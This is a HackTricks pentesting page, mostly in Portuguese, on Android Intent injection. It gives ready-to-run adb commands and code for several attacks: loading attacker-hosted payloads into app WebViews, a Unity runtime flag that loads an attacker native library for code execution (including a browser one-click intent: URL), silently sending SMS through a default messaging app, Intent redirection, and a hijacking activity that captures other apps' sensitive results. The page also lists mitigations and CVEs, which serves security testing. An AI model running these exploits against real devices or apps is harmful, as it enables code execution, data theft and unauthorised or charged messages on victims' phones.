Intent Injection

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Intent injection abusa de componentes que aceitam Intents controlados pelo atacante ou dados que depois são convertidos em Intents. Dois padrões muito comuns durante pentests de apps Android são:

  • Enviar extras manipulados para Activities/Services/BroadcastReceivers exportados que são posteriormente encaminhados para componentes privilegiados e não-exportados.
  • Acionar deep links exportados VIEW/BROWSABLE que encaminham URLs controladas pelo atacante para WebViews internas ou outros sinks sensíveis.

Se um app expõe um deep link com esquema customizado como:

myscheme://com.example.app/web?url=<attacker_url>

e a Activity receptora encaminha o parâmetro de consulta url para um WebView, você pode forçar o app a renderizar conteúdo remoto arbitrário no contexto do próprio WebView.

PoC via adb:

# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impacto

  • HTML/JS é executado dentro do perfil WebView do aplicativo.
  • Se JavaScript estiver habilitado (por padrão ou devido a verificações fora de ordem), você pode enumerar/usar quaisquer objetos @JavascriptInterface expostos, roubar cookies/local storage do WebView e pivotar.

See also:

Webview Attacks

Bug na ordem das verificações que habilita JavaScript

Um bug recorrente é habilitar JavaScript (ou outras configurações permissivas do WebView) antes da allowlist/verificação final da URL terminar. Se helpers iniciais aceitarem seu deep link e o WebView for configurado primeiro, o carregamento final ocorrerá com JavaScript já habilitado mesmo que verificações posteriores estejam incorretas ou cheguem tarde demais.

O que procurar no código decompilado:

  • Múltiplos helpers que analisam/dividem/reconstroem a URL de forma diferente (normalização inconsistente).
  • Chamadas para getSettings().setJavaScriptEnabled(true) antes da última verificação de allowlist de host/path.
  • Um pipeline como: analisar → validação parcial → configurar WebView → verificação final → loadUrl.

Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)

Aplicativos Android baseados em Unity normalmente usam com.unity3d.player.UnityPlayerActivity (ou UnityPlayerGameActivity) como Activity de entrada. O template Android da Unity trata um extra de Intent especial chamado unity como uma string de flags de linha de comando para o runtime Unity. Quando a Activity de entrada está exportada (padrão em muitos templates), qualquer app local – e às vezes um site se BROWSABLE estiver presente – pode fornecer esse extra.

Uma flag perigosa e não documentada leva à execução de código nativo durante a inicialização muito precoce do processo:

  • Flag oculta: -xrsdk-pre-init-library <absolute-path>
  • Efeito: dlopen(<absolute-path>, RTLD_NOW) muito cedo na init, carregando um ELF controlado pelo atacante dentro do processo do app alvo com seu UID e permissões.

Trecho de engenharia reversa (simplificado):

// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW

Why it works

  • The Intent extra unity é parseado em Unity runtime flags.
  • Supplying the pre-init flag aponta Unity para um caminho ELF controlado pelo attacker dentro de um allowed linker namespace path (veja as constraints abaixo).

Conditions for exploitation

  • A Unity entry Activity está exportada (comumente true por padrão).
  • For one-click remote via browser: a entry Activity também declara android.intent.category.BROWSABLE para que extras possam ser passados a partir de uma URL intent:.

Local exploitation (same device)

  1. Place a payload ELF em um caminho legível pelo victim app. Easiest: ship uma biblioteca maliciosa no seu próprio attacker app e garanta que ela seja extraída under /data/app/.../lib/<abi>/ definindo no attacker’s manifest:
<application android:extractNativeLibs="true" ...>
  1. Inicie a Unity activity da vítima com a flag pre-init do CLI no extra unity. Exemplo ADB PoC:
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
  1. Unity calls dlopen("/data/.../libpayload.so", RTLD_NOW); seu payload é executado no processo da vítima, herdando todas as permissões do app (camera/mic/network/storage, etc.) e acesso às sessões/dados dentro do app.

Notas

  • O caminho exato /data/app/... varia entre dispositivos/instalações. Um app atacante pode recuperar seu próprio native lib dir em tempo de execução via getApplicationInfo().nativeLibraryDir e comunicar isso ao trigger.
  • O arquivo não precisa terminar com .so se for um ELF válido – dlopen() se importa com os cabeçalhos ELF, não com as extensões.

One‑click remoto via navegador (condicional) Se a entry activity do Unity estiver exportada com BROWSABLE, um site pode passar extras via uma URL intent::

intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;

No entanto, no Android moderno os namespaces do linker dinâmico e o SELinux bloqueiam o carregamento a partir de muitos caminhos públicos (por exemplo, /sdcard/Download). Você verá erros como:

library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]

Bypass strategy: target apps that cache attacker-controlled bytes under their private storage (e.g., HTTP caches). Because permitted paths include /data and the app’s private dir, pointing -xrsdk-pre-init-library at an absolute path inside the app’s cache can satisfy linker constraints and yield code execution. This mirrors prior cache-to-ELF RCE patterns experienced in other Android apps.

Confused‑Deputy: SMS/MMS silencioso via ACTION_SENDTO (Wear OS Google Messages)

Alguns aplicativos de mensagens padrão executam incorretamente intents de mensagem implícitos automaticamente, transformando-os em uma primitiva Confused‑Deputy: qualquer app sem privilégios pode disparar Intent.ACTION_SENDTO com sms:, smsto:, mms:, ou mmsto: e causar um envio imediato sem uma UI de confirmação e sem a permissão SEND_SMS.

Pontos-chave

  • Gatilho: ACTION_SENDTO implícito + esquema de URI de mensagens.
  • Dados: defina o destinatário na URI, o texto da mensagem no extra "sms_body".
  • Permissões: nenhuma (sem SEND_SMS), depende do handler padrão de SMS/MMS.
  • Observado: Google Messages for Wear OS (corrigido em maio de 2025). Outros handlers devem ser avaliados de forma semelhante.

Minimal payload (Kotlin)

val intent = Intent(Intent.ACTION_SENDTO).apply {
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
putExtra("sms_body", "Hi from PoC")
// From a non-Activity context add NEW_TASK
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)

ADB PoC (sem permissões especiais)

# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890"   --es sms_body "hello"

# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890"   --es sms_body "hello"

Expansão da superfície de ataque (Wear OS)

  • Any component capable of launching activities can fire the same payload: Activities, foreground Services (with FLAG_ACTIVITY_NEW_TASK), Tiles, Complications.
  • If the default handler auto‑sends, abuse can be one‑tap or fully silent from background contexts depending on OEM policies.

Pentest checklist

  • Resolve ACTION_SENDTO on target to identify the default handler; verify whether it shows a compose UI or silently sends.
  • Exercise all four schemes (sms:, smsto:, mms:, mmsto:) and extras (sms_body, optionally subject for MMS) to check behaviour differences.
  • Consider charged destinations/premium‑rate numbers when testing on real devices.

Other classic Intent injection primitives

  • startActivity/sendBroadcast using attacker-supplied Intent extras that are later re-parsed (Intent.parseUri(...)) and executed.
  • Exported proxy components that forward Intents to non-exported sensitive components without permission checks.

Automatizando testes de componentes exportados (Smali-driven ADB generation)

When exported components expect specific extras, guessing payload shape causes time waste and false negatives. You can automate discovery of keys/types directly from Smali and emit ready-to-run adb commands.

Tool: APK Components Inspector

  • Repo: https://github.com/thecybersandeep/apk-components-inspector
  • Abordagem: decompile e escaneie Smali em busca de chamadas como getStringExtra("key"), getIntExtra("id", ...), getParcelableExtra("redirect_intent"), getSerializableExtra(...), getBooleanExtra(...), getAction(), getData() para inferir quais extras e campos são consumidos por cada componente.
  • Output: para every exported Activity/Service/Receiver/Provider, the tool prints a short explanation and the exact adb shell am .../cmd content ... command with correctly typed flags.

Instalar

git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich

Uso

python apk-components-inspector.py target.apk

Exemplo de saída

adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items

ADB am extras — guia rápido (flags sensíveis ao tipo)

  • Strings: --es key value | String array: --esa key v1,v2
  • Integers: --ei key 123 | Int array: --eia key 1,2,3
  • Booleans: --ez key true|false
  • Longs: --el key 1234567890
  • Floats: --ef key 1.23
  • URIs (extra): --eu key content://... | Data URI (Intent data): -d content://...
  • Component extra: --ecn key com.pkg/.Cls
  • Null string extra: --esn key
  • Common flags: -a <ACTION> -c <CATEGORY> -t <MIME> -f <FLAGS> --activity-clear-task --activity-new-task

Dicas para Providers

  • Use adb shell cmd content query|insert|update|delete ... para acessar ContentProviders sem agentes.
  • Para sondagem de SQLi, varie --projection e --where (também chamado selection) quando o provider subjacente for baseado em SQLite.

Automação de pipeline completa (executor interativo)

# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
Script auxiliar para analisar e executar comandos adb ```python import subprocess

def parse_adb_commands(file_path): with open(file_path, ‘r’) as file: lines = file.readlines() commands = [] current = [] for line in lines: s = line.strip() if s.startswith(“adb “): current = [s] elif s.startswith(”#“) or not s: if current: full = ’ ’.join(current).replace(” \ “, “ “).replace(”\“, “”).strip() commands.append(full) current = [] elif current: current.append(s) if current: full = ’ ’.join(current).replace(“ \ “, “ “).replace(”\“, “”).strip() commands.append(full) return commands

for i, cmd in enumerate(parse_adb_commands(‘adbcommands.txt’), 1): print(f“\nCommand {i}: {cmd}“) input(“Press Enter to execute this command…”) try: r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True) print(“Output:\n”, r.stdout) if r.stderr: print(“Errors:\n”, r.stderr) except subprocess.CalledProcessError as e: print(f“Command failed with error:\n{e.stderr}“)

</details>

Run on-device: o inspector é baseado em Python e funciona no Termux ou em telefones rootados onde `apktool`/`androguard` estão disponíveis.

---

## Intent Redirection (CWE-926) – identificação e exploração

Pattern
- Um ponto de entrada exportado (Activity/Service/Receiver) lê um Intent recebido e o encaminha interna ou externamente sem validar a origem/dados, por exemplo:
- `startActivity(getIntent())`
- `startActivity(intent)` onde `intent` veio de um extra como `redirect_intent`/`next_intent`/`pending_intent` ou `Intent.parseUri(...)`.
- Confiar nos campos `action`/`data`/`component` sem verificações; não verificar a identidade do chamador.

What to search in Smali/Java
- Usos de `getParcelableExtra("redirect_intent")`, `getParcelable("intent")`, `getIntent().getParcelableExtra(...)`.
- Chamadas diretas a `startActivity(...)`, `startService(...)`, `sendBroadcast(...)` em Intents influenciados por um atacante.
- Ausência de verificações `getCallingPackage()`/`getCallingActivity()` ou de restrições de permissão personalizadas.

ADB PoC templates
- Proxy Activity encaminhando um Intent extra para uma Activity interna privilegiada:
```bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
  • Serviço exportado que respeita um parcelable redirect_intent:
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
  • Receiver exportado que reencaminha sem validação:
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'

Flags úteis para comportamento no estilo singleTask

# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task

Exemplos do mundo real (impacto varia):

  • CVE-2024-26131 (Element Android): fluxos exportados levando a manipulação de WebView, PIN bypass, login hijack.
  • CVE-2023-44121 (LG ThinQ Service): exported receiver action com.lge.lms.things.notification.ACTION → efeitos a nível de sistema.
  • CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirecionamento → acesso arbitrário a arquivos (com interação do usuário).
  • CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak conteúdo.
  • CVE-2021-4438 (React Native SMS User Consent).
  • CVE-2020-14116 (Xiaomi Mi Browser).

Intent Hijacking (implicit intents)

Modelo de ameaça

  • App A espera um resultado sensível do App B usando um implicit Intent (ex.: um OAuth redirect, um resultado de document picker, um retorno IMAGE_CAPTURE, ou uma custom callback action).
  • App atacante C publica um componente exportado com um <intent-filter> correspondente para a mesma action/category/data. Quando B resolve o implicit Intent, o resolver pode apresentar um chooser; se o usuário escolher C (ou configurá-lo como padrão), o payload é entregue ao componente atacante em vez de A.

Minimal PoC manifest (attacker):

<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>

Esqueleto do Handler:

public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}

Notas

  • A especificidade da correspondência importa (action + categories + data). Quanto mais específico o filtro de C para o Intent de saída de B, maior a probabilidade de ele ser exibido ou selecionado automaticamente.
  • Isso também se aplica a deep links (VIEW + BROWSABLE) quando apps esperam que outro app trate uma URL e retorne algo.

Pentest guidance

  • Grep o alvo por chamadas startActivity/startActivityForResult/registerForActivityResult usando Intents não explícitos.
  • Inspecione Intents que carregam tokens em extras, clipData, ou getData() e veja se um terceiro poderia registrar um filtro compatível.
  • Recomende substituir fluxos implícitos por Intents explícitos (set setPackage()/setComponent()), ou exigir caller-permission/signed permissions em receivers/services exportados.

Mitigações

  • Prefira Intents explícitos para fluxos sensíveis (callbacks, tokens, resultados de autenticação).
  • Quando cross-app for necessário, adicione requisitos de permissão ao componente receptor e valide a identidade do caller.
  • Limite e restrinja os Intent filters apenas ao que for estritamente necessário (scheme/host/path/MIME).

Observando as decisões do resolver (FLAG_DEBUG_LOG_RESOLUTION)

Quando você controla o sender, adicione Intent.FLAG_DEBUG_LOG_RESOLUTION a um Intent implícito para fazer o Android logar como a resolução acontece e qual componente será selecionado.

Exemplo:

Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);

O que você verá em adb logcat é o rastreamento da resolução e o componente final, por exemplo com.android.camera2/com.android.camera.CaptureActivity.

Dica de CLI

# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008

# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"

Isto é útil para enumerar os manipuladores candidatos em um dispositivo/emulador e confirmar exatamente qual componente receberá um Intent durante os testes.


References

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks